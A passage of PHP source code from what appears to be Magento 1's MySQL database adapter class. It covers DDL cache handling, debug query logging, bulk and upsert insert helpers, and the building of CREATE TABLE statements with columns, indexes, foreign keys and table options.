$ddl = $this->loadDdlCache($cacheKey, self::DDL_INDEX);
if ($ddl === false) {
$ddl = array();
$sql = sprintf('SHOW INDEX FROM %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)));
foreach ($this->fetchAll($sql) as $row) {
$fieldKeyName = 'Key_name';
$fieldNonUnique = 'Non_unique';
$fieldColumn = 'Column_name';
$fieldIndexType = 'Index_type';
if (strtolower($row[$fieldKeyName]) == Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY) {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY;
} elseif ($row[$fieldNonUnique] == 0) {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE;
} elseif (strtolower($row[$fieldIndexType]) == Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT) {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT;
} else {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_INDEX;
}
$upperKeyName = strtoupper($row[$fieldKeyName]);
if (isset($ddl[$upperKeyName])) {
$ddl[$upperKeyName]['fields'][] = $row[$fieldColumn]; // for compatible
$ddl[$upperKeyName]['COLUMNS_LIST'][] = $row[$fieldColumn];
} else {
$ddl[$upperKeyName] = array(
'SCHEMA_NAME' => $schemaName,
'TABLE_NAME' => $tableName,
'KEY_NAME' => $row[$fieldKeyName],
'COLUMNS_LIST' => array($row[$fieldColumn]),
'INDEX_TYPE' => $indexType,
'INDEX_METHOD' => $row[$fieldIndexType],
'type' => strtolower($indexType), // for compatibility
'fields' => array($row[$fieldColumn]) // for compatibility
);
}
}
$this->saveDdlCache($cacheKey, self::DDL_INDEX, $ddl);
}
return $ddl;
}
/**
* Add Index Key
*
* @deprecated since 1.5.0.0
* @param string $tableName
* @param string $indexName
* @param string|array $fields
* @param string $indexType
* @param string $schemaName
* @return Zend_Db_Statement_Interface
*/
public function addKey($tableName, $indexName, $fields, $indexType = 'index', $schemaName = null)
{
return $this->addIndex($tableName, $indexName, $fields, $indexType, $schemaName);
}
/**
* Remove duplicate entry for create key
*
* @param string $table
* @param array $fields
* @param array $ids
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _removeDuplicateEntry($table, $fields, $ids)
{
$where = array();
$i = 0;
foreach ($fields as $field) {
$where[] = $this->quoteInto($field . '=?', $ids[$i++]);
}
if (!$where) {
return $this;
}
$whereCond = implode(' AND ', $where);
$sql = sprintf('SELECT COUNT(*) as `cnt` FROM `%s` WHERE %s', $table, $whereCond);
$cnt = $this->raw_fetchRow($sql, 'cnt');
if ($cnt > 1) {
$sql = sprintf('DELETE FROM `%s` WHERE %s LIMIT %d',
$table,
$whereCond,
$cnt - 1
);
$this->raw_query($sql);
}
return $this;
}
/**
* Creates and returns a new Zend_Db_Select object for this adapter.
*
* @return Varien_Db_Select
*/
public function select()
{
return new Varien_Db_Select($this);
}
/**
* Start debug timer
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _debugTimer()
{
if ($this->_debug) {
$this->_debugTimer = microtime(true);
}
return $this;
}
/**
* Logging debug information
*
* @param int $type
* @param string $sql
* @param array $bind
* @param Zend_Db_Statement_Pdo $result
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _debugStat($type, $sql, $bind = array(), $result = null)
{
if (!$this->_debug) {
return $this;
}
$code = '## ' . getmypid() . ' ## ';
$nl = "
";
$time = sprintf('%.4f', microtime(true) - $this->_debugTimer);
if (!$this->_logAllQueries && $time < $this->_logQueryTime) {
return $this;
}
switch ($type) {
case self::DEBUG_CONNECT:
$code .= 'CONNECT' . $nl;
break;
case self::DEBUG_TRANSACTION:
$code .= 'TRANSACTION ' . $sql . $nl;
break;
case self::DEBUG_QUERY:
$code .= 'QUERY' . $nl;
$code .= 'SQL: ' . $sql . $nl;
if ($bind) {
$code .= 'BIND: ' . var_export($bind, true) . $nl;
}
if ($result instanceof Zend_Db_Statement_Pdo) {
$code .= 'AFF: ' . $result->rowCount() . $nl;
}
break;
}
$code .= 'TIME: ' . $time . $nl;
if ($this->_logCallStack) {
$code .= 'TRACE: ' . Varien_Debug::backtrace(true, false) . $nl;
}
$code .= $nl;
$this->_debugWriteToFile($code);
return $this;
}
/**
* Write exception and thow
*
* @param Exception $e
* @throws Exception
*/
protected function _debugException(Exception $e)
{
if (!$this->_debug) {
throw $e;
}
$nl = "
";
$code = 'EXCEPTION ' . $nl . $e . $nl . $nl;
$this->_debugWriteToFile($code);
throw $e;
}
/**
* Debug write to file process
*
* @param string $str
*/
protected function _debugWriteToFile($str)
{
$str = '## ' . date('Y-m-d H:i:s') . "
" . $str;
if (!$this->_debugIoAdapter) {
$this->_debugIoAdapter = new Varien_Io_File();
$dir = Mage::getBaseDir() . DS . $this->_debugIoAdapter->dirname($this->_debugFile);
$this->_debugIoAdapter->checkAndCreateFolder($dir);
$this->_debugIoAdapter->open(array('path' => $dir));
$this->_debugFile = basename($this->_debugFile);
}
$this->_debugIoAdapter->streamOpen($this->_debugFile, 'a');
$this->_debugIoAdapter->streamLock();
$this->_debugIoAdapter->streamWrite($str);
$this->_debugIoAdapter->streamUnlock();
$this->_debugIoAdapter->streamClose();
}
/**
* Quotes a value and places into a piece of text at a placeholder.
*
* Method revrited for handle empty arrays in value param
*
* @param string $text The text with a placeholder.
* @param mixed $value The value to quote.
* @param string $type OPTIONAL SQL datatype
* @param integer $count OPTIONAL count of placeholders to replace
* @return string An SQL-safe quoted value placed into the orignal text.
*/
public function quoteInto($text, $value, $type = null, $count = null)
{
if (is_array($value) && empty($value)) {
$value = new Zend_Db_Expr('NULL');
}
return parent::quoteInto($text, $value, $type, $count);
}
/**
* Retrieve ddl cache name
*
* @param string $tableName
* @param string $schemaName
*/
protected function _getTableName($tableName, $schemaName = null)
{
return ($schemaName ? $schemaName . '.' : '') . $tableName;
}
/**
* Retrieve Id for cache
*
* @param string $tableKey
* @param int $ddlType
* @return string
*/
protected function _getCacheId($tableKey, $ddlType)
{
return sprintf('%s_%s_%s', self::DDL_CACHE_PREFIX, $tableKey, $ddlType);
}
/**
* Load DDL data from cache
* Return false if cache does not exists
*
* @param string $tableCacheKey the table cache key
* @param int $ddlType the DDL constant
* @return string|array|int|false
*/
public function loadDdlCache($tableCacheKey, $ddlType)
{
if (!$this->_isDdlCacheAllowed) {
return false;
}
if (isset($this->_ddlCache[$ddlType][$tableCacheKey])) {
return $this->_ddlCache[$ddlType][$tableCacheKey];
}
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
$cacheId = $this->_getCacheId($tableCacheKey, $ddlType);
$data = $this->_cacheAdapter->load($cacheId);
if ($data !== false) {
$data = unserialize($data);
$this->_ddlCache[$ddlType][$tableCacheKey] = $data;
}
return $data;
}
return false;
}
/**
* Save DDL data into cache
*
* @param string $tableCacheKey
* @param int $ddlType
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function saveDdlCache($tableCacheKey, $ddlType, $data)
{
if (!$this->_isDdlCacheAllowed) {
return $this;
}
$this->_ddlCache[$ddlType][$tableCacheKey] = $data;
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
$cacheId = $this->_getCacheId($tableCacheKey, $ddlType);
$data = serialize($data);
$this->_cacheAdapter->save($data, $cacheId, array(self::DDL_CACHE_TAG));
}
return $this;
}
/**
* Reset cached DDL data from cache
* if table name is null - reset all cached DDL data
*
* @param string $tableName
* @param string $schemaName OPTIONAL
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function resetDdlCache($tableName = null, $schemaName = null)
{
if (!$this->_isDdlCacheAllowed) {
return $this;
}
if ($tableName === null) {
$this->_ddlCache = array();
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
$this->_cacheAdapter->clean(Zend_Cache::CLEANING_MODE_MATCHING_TAG, array(self::DDL_CACHE_TAG));
}
} else {
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddlTypes = array(self::DDL_DESCRIBE, self::DDL_CREATE, self::DDL_INDEX, self::DDL_FOREIGN_KEY);
foreach ($ddlTypes as $ddlType) {
unset($this->_ddlCache[$ddlType][$cacheKey]);
}
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
foreach ($ddlTypes as $ddlType) {
$cacheId = $this->_getCacheId($cacheKey, $ddlType);
$this->_cacheAdapter->remove($cacheId);
}
}
}
return $this;
}
/**
* Disallow DDL caching
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function disallowDdlCache()
{
$this->_isDdlCacheAllowed = false;
return $this;
}
/**
* Allow DDL caching
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function allowDdlCache()
{
$this->_isDdlCacheAllowed = true;
return $this;
}
/**
* Decorate a table info by detecting and parsing the binary/varbinary fields
* @param $tableColumnInfo
*
* @return mixed
*/
public function decorateTableInfo($tableColumnInfo)
{
$matches = array();
if (preg_match('/^((?:var)?binary)\((\d+)\)/', $tableColumnInfo['DATA_TYPE'], $matches)) {
list ($fieldFullDescription, $fieldType, $fieldLength) = $matches;
$tableColumnInfo['DATA_TYPE'] = $fieldType;
$tableColumnInfo['LENGTH'] = $fieldLength;
}
return $tableColumnInfo;
}
/**
* Returns the column descriptions for a table.
*
* The return value is an associative array keyed by the column name,
* as returned by the RDBMS.
*
* The value of each array element is an associative array
* with the following keys:
*
* SCHEMA_NAME => string; name of database or schema
* TABLE_NAME => string;
* COLUMN_NAME => string; column name
* COLUMN_POSITION => number; ordinal position of column in table
* DATA_TYPE => string; SQL datatype name of column
* DEFAULT => string; default expression of column, null if none
* NULLABLE => boolean; true if column can have nulls
* LENGTH => number; length of CHAR/VARCHAR
* SCALE => number; scale of NUMERIC/DECIMAL
* PRECISION => number; precision of NUMERIC/DECIMAL
* UNSIGNED => boolean; unsigned property of an integer type
* PRIMARY => boolean; true if column is part of the primary key
* PRIMARY_POSITION => integer; position of column in primary key
* IDENTITY => integer; true if column is auto-generated with unique values
*
* @param string $tableName
* @param string $schemaName OPTIONAL
* @return array
*/
public function describeTable($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddl = $this->loadDdlCache($cacheKey, self::DDL_DESCRIBE);
if ($ddl === false) {
$ddl = array_map(
array(
$this,
'decorateTableInfo'
),
parent::describeTable($tableName, $schemaName)
);
/**
* Remove bug in some MySQL versions, when int-column without default value is described as:
* having default empty string value
*/
$affected = array('tinyint', 'smallint', 'mediumint', 'int', 'bigint');
foreach ($ddl as $key => $columnData) {
if (($columnData['DEFAULT'] === '') && (array_search($columnData['DATA_TYPE'], $affected) !== FALSE)) {
$ddl[$key]['DEFAULT'] = null;
}
}
$this->saveDdlCache($cacheKey, self::DDL_DESCRIBE, $ddl);
}
return $ddl;
}
/**
* Format described column to definition, ready to be added to ddl table.
* Return array with keys: name, type, length, options, comment
*
* @param array $columnData
* @return array
*/
public function getColumnCreateByDescribe($columnData)
{
$type = $this->_getColumnTypeByDdl($columnData);
$options = array();
if ($columnData['IDENTITY'] === true) {
$options['identity'] = true;
}
if ($columnData['UNSIGNED'] === true) {
$options['unsigned'] = true;
}
if ($columnData['NULLABLE'] === false
&& !($type == Varien_Db_Ddl_Table::TYPE_TEXT && strlen($columnData['DEFAULT']) != 0)
) {
$options['nullable'] = false;
}
if ($columnData['PRIMARY'] === true) {
$options['primary'] = true;
}
if (!is_null($columnData['DEFAULT'])
&& $type != Varien_Db_Ddl_Table::TYPE_TEXT
) {
$options['default'] = $this->quote($columnData['DEFAULT']);
}
if (strlen($columnData['SCALE']) > 0) {
$options['scale'] = $columnData['SCALE'];
}
if (strlen($columnData['PRECISION']) > 0) {
$options['precision'] = $columnData['PRECISION'];
}
$comment = uc_words($columnData['COLUMN_NAME'], ' ');
$result = array(
'name' => $columnData['COLUMN_NAME'],
'type' => $type,
'length' => $columnData['LENGTH'],
'options' => $options,
'comment' => $comment
);
return $result;
}
/**
* Create Varien_Db_Ddl_Table object by data from describe table
*
* @param $tableName
* @param $newTableName
* @return Varien_Db_Ddl_Table
*/
public function createTableByDdl($tableName, $newTableName)
{
$describe = $this->describeTable($tableName);
$table = $this->newTable($newTableName)
->setComment(uc_words($newTableName, ' '));
foreach ($describe as $columnData) {
$columnInfo = $this->getColumnCreateByDescribe($columnData);
$table->addColumn(
$columnInfo['name'],
$columnInfo['type'],
$columnInfo['length'],
$columnInfo['options'],
$columnInfo['comment']
);
}
$indexes = $this->getIndexList($tableName);
foreach ($indexes as $indexData) {
/**
* Do not create primary index - it is created with identity column.
* For reliability check both name and type, because these values can start to differ in future.
*/
if (($indexData['KEY_NAME'] == 'PRIMARY')
|| ($indexData['INDEX_TYPE'] == Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY)
) {
continue;
}
$fields = $indexData['COLUMNS_LIST'];
$options = array('type' => $indexData['INDEX_TYPE']);
$table->addIndex($this->getIndexName($newTableName, $fields, $indexData['INDEX_TYPE']), $fields, $options);
}
$foreignKeys = $this->getForeignKeys($tableName);
foreach ($foreignKeys as $keyData) {
$fkName = $this->getForeignKeyName(
$newTableName, $keyData['COLUMN_NAME'], $keyData['REF_TABLE_NAME'], $keyData['REF_COLUMN_NAME']
);
$onDelete = $this->_getDdlAction($keyData['ON_DELETE']);
$onUpdate = $this->_getDdlAction($keyData['ON_UPDATE']);
$table->addForeignKey(
$fkName, $keyData['COLUMN_NAME'], $keyData['REF_TABLE_NAME'],
$keyData['REF_COLUMN_NAME'], $onDelete, $onUpdate
);
}
// Set additional options
$tableData = $this->showTableStatus($tableName);
$table->setOption('type', $tableData['Engine']);
return $table;
}
/**
* Modify the column definition by data from describe table
*
* @param string $tableName
* @param string $columnName
* @param array $definition
* @param boolean $flushData
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function modifyColumnByDdl($tableName, $columnName, $definition, $flushData = false, $schemaName = null)
{
$definition = array_change_key_case($definition, CASE_UPPER);
$definition['COLUMN_TYPE'] = $this->_getColumnTypeByDdl($definition);
if (array_key_exists('DEFAULT', $definition) && is_null($definition['DEFAULT'])) {
unset($definition['DEFAULT']);
}
return $this->modifyColumn($tableName, $columnName, $definition, $flushData, $schemaName);
}
/**
* Retrieve column data type by data from describe table
*
* @param array $column
* @return string
*/
protected function _getColumnTypeByDdl($column)
{
switch ($column['DATA_TYPE']) {
case 'bool':
return Varien_Db_Ddl_Table::TYPE_BOOLEAN;
case 'tinytext':
case 'char':
case 'varchar':
case 'text':
case 'mediumtext':
case 'longtext':
return Varien_Db_Ddl_Table::TYPE_TEXT;
case 'blob':
case 'mediumblob':
case 'longblob':
return Varien_Db_Ddl_Table::TYPE_BLOB;
case 'tinyint':
case 'smallint':
return Varien_Db_Ddl_Table::TYPE_SMALLINT;
case 'mediumint':
case 'int':
return Varien_Db_Ddl_Table::TYPE_INTEGER;
case 'bigint':
return Varien_Db_Ddl_Table::TYPE_BIGINT;
case 'datetime':
return Varien_Db_Ddl_Table::TYPE_DATETIME;
case 'timestamp':
return Varien_Db_Ddl_Table::TYPE_TIMESTAMP;
case 'date':
return Varien_Db_Ddl_Table::TYPE_DATE;
case 'float':
return Varien_Db_Ddl_Table::TYPE_FLOAT;
case 'decimal':
case 'numeric':
return Varien_Db_Ddl_Table::TYPE_DECIMAL;
case 'varbinary':
return Varien_Db_Ddl_Table::TYPE_VARBINARY;
break;
}
}
/**
* Truncate table
*
* @deprecated since 1.4.0.1
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function truncate($tableName, $schemaName = null)
{
return $this->truncateTable($tableName, $schemaName);
}
/**
* Change table storage engine
*
* @param string $tableName
* @param string $engine
* @param string $schemaName
* @return mixed
*/
public function changeTableEngine($tableName, $engine, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$sql = sprintf('ALTER TABLE %s ENGINE=%s', $table, $engine);
return $this->raw_query($sql);
}
/**
* Change table comment
*
* @param string $tableName
* @param string $comment
* @param string $schemaName
* @return mixed
*/
public function changeTableComment($tableName, $comment, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$sql = sprintf("ALTER TABLE %s COMMENT='%s'", $table, $comment);
return $this->raw_query($sql);
}
/**
* Change table auto increment value
*
* @param string $tableName
* @param string $increment
* @param null|string $schemaName
* @return Zend_Db_Statement_Interface
*/
public function changeTableAutoIncrement($tableName, $increment, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$sql = sprintf('ALTER TABLE %s AUTO_INCREMENT=%d', $table, $increment);
return $this->raw_query($sql);
}
/**
* Inserts a table row with specified data
* Special for Zero values to identity column
*
* @param string $table
* @param array $bind
* @return int The number of affected rows.
*/
public function insertForce($table, array $bind)
{
$this->raw_query("SET @OLD_INSERT_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'");
$result = $this->insert($table, $bind);
$this->raw_query("SET SQL_MODE=IFNULL(@OLD_INSERT_SQL_MODE,'')");
return $result;
}
/**
* Inserts a table row with specified data.
*
* @param mixed $table The table to insert data into.
* @param array $data Column-value pairs or array of column-value pairs.
* @param array $fields update fields pairs or values
* @return int The number of affected rows.
* @throws Zend_Db_Exception
*/
public function insertOnDuplicate($table, array $data, array $fields = array())
{
// extract and quote col names from the array keys
$row = reset($data); // get first element from data array
$bind = array(); // SQL bind array
$values = array();
if (is_array($row)) { // Array of column-value pairs
$cols = array_keys($row);
foreach ($data as $row) {
if (array_diff($cols, array_keys($row))) {
throw new Zend_Db_Exception('Invalid data for insert');
}
$values[] = $this->_prepareInsertData($row, $bind);
}
unset($row);
} else { // Column-value pairs
$cols = array_keys($data);
$values[] = $this->_prepareInsertData($data, $bind);
}
$updateFields = array();
if (empty($fields)) {
$fields = $cols;
}
// quote column names
// $cols = array_map(array($this, 'quoteIdentifier'), $cols);
// prepare ON DUPLICATE KEY conditions
foreach ($fields as $k => $v) {
$field = $value = null;
if (!is_numeric($k)) {
$field = $this->quoteIdentifier($k);
if ($v instanceof Zend_Db_Expr) {
$value = $v->__toString();
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
} elseif (is_numeric($v)) {
$value = $this->quoteInto('?', $v);
}
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
$field = $this->quoteIdentifier($v);
}
if ($field && $value) {
$updateFields[] = sprintf('%s = %s', $field, $value);
}
}
$insertSql = $this->_getInsertSqlQuery($table, $cols, $values);
if ($updateFields) {
$insertSql .= ' ON DUPLICATE KEY UPDATE ' . implode(', ', $updateFields);
}
// execute the statement and return the number of affected rows
$stmt = $this->query($insertSql, array_values($bind));
$result = $stmt->rowCount();
return $result;
}
/**
* Inserts a table multiply rows with specified data.
*
* @param mixed $table The table to insert data into.
* @param array $data Column-value pairs or array of Column-value pairs.
* @return int The number of affected rows.
* @throws Zend_Db_Exception
*/
public function insertMultiple($table, array $data)
{
$row = reset($data);
// support insert syntaxes
if (!is_array($row)) {
return $this->insert($table, $data);
}
// validate data array
$cols = array_keys($row);
$insertArray = array();
foreach ($data as $row) {
$line = array();
if (array_diff($cols, array_keys($row))) {
throw new Zend_Db_Exception('Invalid data for insert');
}
foreach ($cols as $field) {
$line[] = $row[$field];
}
$insertArray[] = $line;
}
unset($row);
return $this->insertArray($table, $cols, $insertArray);
}
/**
* Insert array to table based on columns definition
*
* @param string $table
* @param array $columns
* @param array $data
* @return int
* @throws Zend_Db_Exception
*/
public function insertArray($table, array $columns, array $data)
{
$values = array();
$bind = array();
$columnsCount = count($columns);
foreach ($data as $row) {
if ($columnsCount != count($row)) {
throw new Zend_Db_Exception('Invalid data for insert');
}
$values[] = $this->_prepareInsertData($row, $bind);
}
$insertQuery = $this->_getInsertSqlQuery($table, $columns, $values);
// execute the statement and return the number of affected rows
$stmt = $this->query($insertQuery, $bind);
$result = $stmt->rowCount();
return $result;
}
/**
* Inserts a table row with specified data.
*
* @param mixed $table The table to insert data into.
* @param array $bind Column-value pairs.
* @return int The number of affected rows.
* @throws Zend_Db_Adapter_Exception
*/
public function insertIgnore($table, array $bind)
{
// extract and quote col names from the array keys
$cols = array();
$vals = array();
$i = 0;
foreach ($bind as $col => $val) {
$cols[] = $this->quoteIdentifier($col, true);
if ($val instanceof Zend_Db_Expr) {
$vals[] = $val->__toString();
unset($bind[$col]);
} else {
if ($this->supportsParameters('positional')) {
$vals[] = '?';
} else {
if ($this->supportsParameters('named')) {
unset($bind[$col]);
$bind[':col'.$i] = $val;
$vals[] = ':col'.$i;
$i++;
} else {
/** @see Zend_Db_Adapter_Exception */
#require_once 'Zend/Db/Adapter/Exception.php';
throw new Zend_Db_Adapter_Exception(
get_class($this) ." doesn't support positional or named binding"
);
}
}
}
}
// build the statement
$sql = "INSERT IGNORE INTO "
. $this->quoteIdentifier($table, true)
. ' (' . implode(', ', $cols) . ') '
. 'VALUES (' . implode(', ', $vals) . ')';
// execute the statement and return the number of affected rows
if ($this->supportsParameters('positional')) {
$bind = array_values($bind);
}
$stmt = $this->query($sql, $bind);
$result = $stmt->rowCount();
return $result;
}
/**
* Set cache adapter
*
* @param Zend_Cache_Backend_Interface $adapter
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function setCacheAdapter($adapter)
{
$this->_cacheAdapter = $adapter;
return $this;
}
/**
* Return new DDL Table object
*
* @param string $tableName the table name
* @param string $schemaName the database/schema name
* @return Varien_Db_Ddl_Table
*/
public function newTable($tableName = null, $schemaName = null)
{
$table = new Varien_Db_Ddl_Table();
if ($tableName !== null) {
$table->setName($tableName);
}
if ($schemaName !== null) {
$table->setSchema($schemaName);
}
return $table;
}
/**
* Create table
*
* @param Varien_Db_Ddl_Table $table
* @throws Zend_Db_Exception
* @return Zend_Db_Pdo_Statement
*/
public function createTable(Varien_Db_Ddl_Table $table)
{
$columns = $table->getColumns();
foreach ($columns as $columnEntry) {
if (empty($columnEntry['COMMENT'])) {
throw new Zend_Db_Exception("Cannot create table without columns comments");
}
}
$sqlFragment = array_merge(
$this->_getColumnsDefinition($table),
$this->_getIndexesDefinition($table),
$this->_getForeignKeysDefinition($table)
);
$tableOptions = $this->_getOptionsDefinition($table);
$sql = sprintf("CREATE TABLE %s (
%s
) %s",
$this->quoteIdentifier($table->getName()),
implode(",
", $sqlFragment),
implode(" ", $tableOptions));
return $this->query($sql);
}
/**
* Create temporary table
*
* @param Varien_Db_Ddl_Table $table
* @throws Zend_Db_Exception
* @return Zend_Db_Pdo_Statement
*/
public function createTemporaryTable(Varien_Db_Ddl_Table $table)
{
$sqlFragment = array_merge(
$this->_getColumnsDefinition($table),
$this->_getIndexesDefinition($table),
$this->_getForeignKeysDefinition($table)
);
$tableOptions = $this->_getOptionsDefinition($table);
$sql = sprintf("CREATE TEMPORARY TABLE %s (
%s
) %s",
$this->quoteIdentifier($table->getName()),
implode(",
", $sqlFragment),
implode(" ", $tableOptions));
return $this->query($sql);
}
/**
* Retrieve columns and primary keys definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
* @throws Zend_Db_Exception
*/
protected function _getColumnsDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$primary = array();
$columns = $table->getColumns();
if (empty($columns)) {
throw new Zend_Db_Exception('Table columns are not defined');
}
foreach ($columns as $columnData) {
$columnDefinition = $this->_getColumnDefinition($columnData);
if ($columnData['PRIMARY']) {
$primary[$columnData['COLUMN_NAME']] = $columnData['PRIMARY_POSITION'];
}
$definition[] = sprintf(' %s %s',
$this->quoteIdentifier($columnData['COLUMN_NAME']),
$columnDefinition
);
}
// PRIMARY KEY
if (!empty($primary)) {
asort($primary, SORT_NUMERIC);
$primary = array_map(array($this, 'quoteIdentifier'), array_keys($primary));
$definition[] = sprintf(' PRIMARY KEY (%s)', implode(', ', $primary));
}
return $definition;
}
/**
* Retrieve table indexes definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
*/
protected function _getIndexesDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$indexes = $table->getIndexes();
if (!empty($indexes)) {
foreach ($indexes as $indexData) {
if (!empty($indexData['TYPE'])) {
switch ($indexData['TYPE']) {
case 'primary':
$indexType = 'PRIMARY KEY';
unset($indexData['INDEX_NAME']);
break;
default:
$indexType = strtoupper($indexData['TYPE']);
break;
}
} else {
$indexType = 'KEY';
}
$columns = array();
foreach ($indexData['COLUMNS'] as $columnData) {
$column = $this->quoteIdentifier($columnData['NAME']);
if (!empty($columnData['SIZE'])) {
$column .= sprintf('(%d)', $columnData['SIZE']);
}
$columns[] = $column;
}
$indexName = isset($indexData['INDEX_NAME']) ? $this->quoteIdentifier($indexData['INDEX_NAME']) : '';
$definition[] = sprintf(' %s %s (%s)',
$indexType,
$indexName,
implode(', ', $columns)
);
}
}
return $definition;
}
/**
* Retrieve table foreign keys definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
*/
protected function _getForeignKeysDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$relations = $table->getForeignKeys();
if (!empty($relations)) {
foreach ($relations as $fkData) {
$onDelete = $this->_getDdlAction($fkData['ON_DELETE']);
$onUpdate = $this->_getDdlAction($fkData['ON_UPDATE']);
$definition[] = sprintf(' CONSTRAINT %s FOREIGN KEY (%s) REFERENCES %s (%s) ON DELETE %s ON UPDATE %s',
$this->quoteIdentifier($fkData['FK_NAME']),
$this->quoteIdentifier($fkData['COLUMN_NAME']),
$this->quoteIdentifier($fkData['REF_TABLE_NAME']),
$this->quoteIdentifier($fkData['REF_COLUMN_NAME']),
$onDelete,
$onUpdate
);
}
}
return $definition;
}
/**
* Retrieve table options definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
* @throws Zend_Db_Exception
*/
protected function _getOptionsDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$comment = $table->getComment();
if (empty($comment)) {
throw new Zend_Db_Exception('Comment for table is required and must be defined');
}
$definition[] = $this->quoteInto('COMMENT=?', $comment);
$tableProps = array(
'type' => 'ENGINE=%s',
'checksum' => 'CHECKSUM=%d',
'auto_increment' => 'AUTO_INCREMENT=%d',
'avg_row_length' => 'AVG_ROW_LENGTH=%d',
'max_rows' => 'MAX_ROWS=%d',
'min_rows' => 'MIN_ROWS=%d',
'delay_key_write' => 'DELAY_KEY_WRITE=%d',
'row_format' => 'row_format=%s',
'charset' => 'charset=%s',
'collate' => 'COLLATE=%s'
);
foreach ($tableProps as $key => $mask) {
$v = $table->getOption($key);
if ($v !== null) {
$definition[] = sprintf($mask, $v);
}
}
return $definition;
}
/**
* Get column definition from description
*
* @param array $options
* @param null|string $ddlType
* @return string
*/
public function getColumnDefinitionFromDescribe($options, $ddlType = null)
{
$columnInfo = $this->getColumnCreateByDescribe($options);
foreach ($columnInfo['options'] as $key => $value) {
$columnInfo[$key] = $value;
}
return $this->_getColumnDefinition($columnInfo, $ddlType);
}
/**
* Retrieve column definition fragment
*
* @param array $options
* @param string $ddlType Table DDL Column type constant
* @throws Varien_Exception
* @return string
* @throws Zend_Db_Exception
*/
protected function _getColumnDefinition($options, $ddlType = null)
{
// convert keys to uppercase
$options = array_change_key_case($options, CASE_UPPER);
$cType = null;
$cUnsigned = false;
$cNullable = true;
$cDefault = false;
$cIdentity = false;
// detect and validate column type
if ($ddlType === null) {
$ddlType = $this->_getDdlType($options);
}
if (empty($ddlType) || !isset($this->_ddlColumnTypes[$ddlType])) {
throw new Zend_Db_Exception('Invalid column definition data');
}
// column size
$cType = $this->_ddlColumnTypes[$ddlType];
switch ($ddlType) {
case Varien_Db_Ddl_Table::TYPE_SMALLINT:
case Varien_Db_Ddl_Table::TYPE_INTEGER:
case Varien_Db_Ddl_Table::TYPE_BIGINT:
if (!empty($options['UNSIGNED'])) {
$cUnsigned = true;
}
break;
case Varien_Db_Ddl_Table::TYPE_DECIMAL:
case Varien_Db_Ddl_Table::TYPE_NUMERIC:
$precision = 10;
$scale = 0;
$match = array();
if (!empty($options['LENGTH']) && preg_match('#^\(?(\d+),(\d+)\)?$#', $options['LENGTH'], $match)) {
$precision = $match[1];
$scale = $match[2];
} else {
if (isset($options['SCALE']) && is_numeric($options['SCALE'])) {
$scale = $options['SCALE'];
}
if (isset($options['PRECISION']) && is_numeric($options['PRECISION'])) {
$precision = $options['PRECISION'];
}
}
$cType .= sprintf('(%d,%d)', $precision, $scale);
break;
case Varien_Db_Ddl_Table::TYPE_TEXT:
case Varien_Db_Ddl_Table::TYPE_BLOB:
case Varien_Db_Ddl_Table::TYPE_VARBINARY:
if (empty($options['LENGTH'])) {
$length = Varien_Db_Ddl_Table::DEFAULT_TEXT_SIZE;
} else {
$length = $this->_parseTextSize($options['LENGTH']);
}
if ($length <= 255) {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'varchar' : 'varbinary';
$cType = sprintf('%s(%d)', $cType, $length);
} else if ($length > 255 && $length <= 65536) {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'text' : 'blob';
} else if ($length > 65536 && $length <= 16777216) {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'mediumtext' : 'mediumblob';
} else {
$cType = $ddlType == Varien_Db_Ddl_Table::TYPE_TEXT ? 'longtext' : 'longblob';
}
break;
}
if (array_key_exists('DEFAULT', $options)) {
$cDefault = $options['DEFAULT'];
}
if (array_key_exists('NULLABLE', $options)) {
$cNullable = (bool)$options['NULLABLE'];
}
if (!empty($options['IDENTITY']) || !empty($options['AUTO_INCREMENT'])) {
$cIdentity = true;
}
/* For cases when tables created from createTableByDdl()
* where default value can be quoted already.
* We need to avoid "double-quoting" here
*/
if ( $cDefault !== null && strlen($cDefault)) {
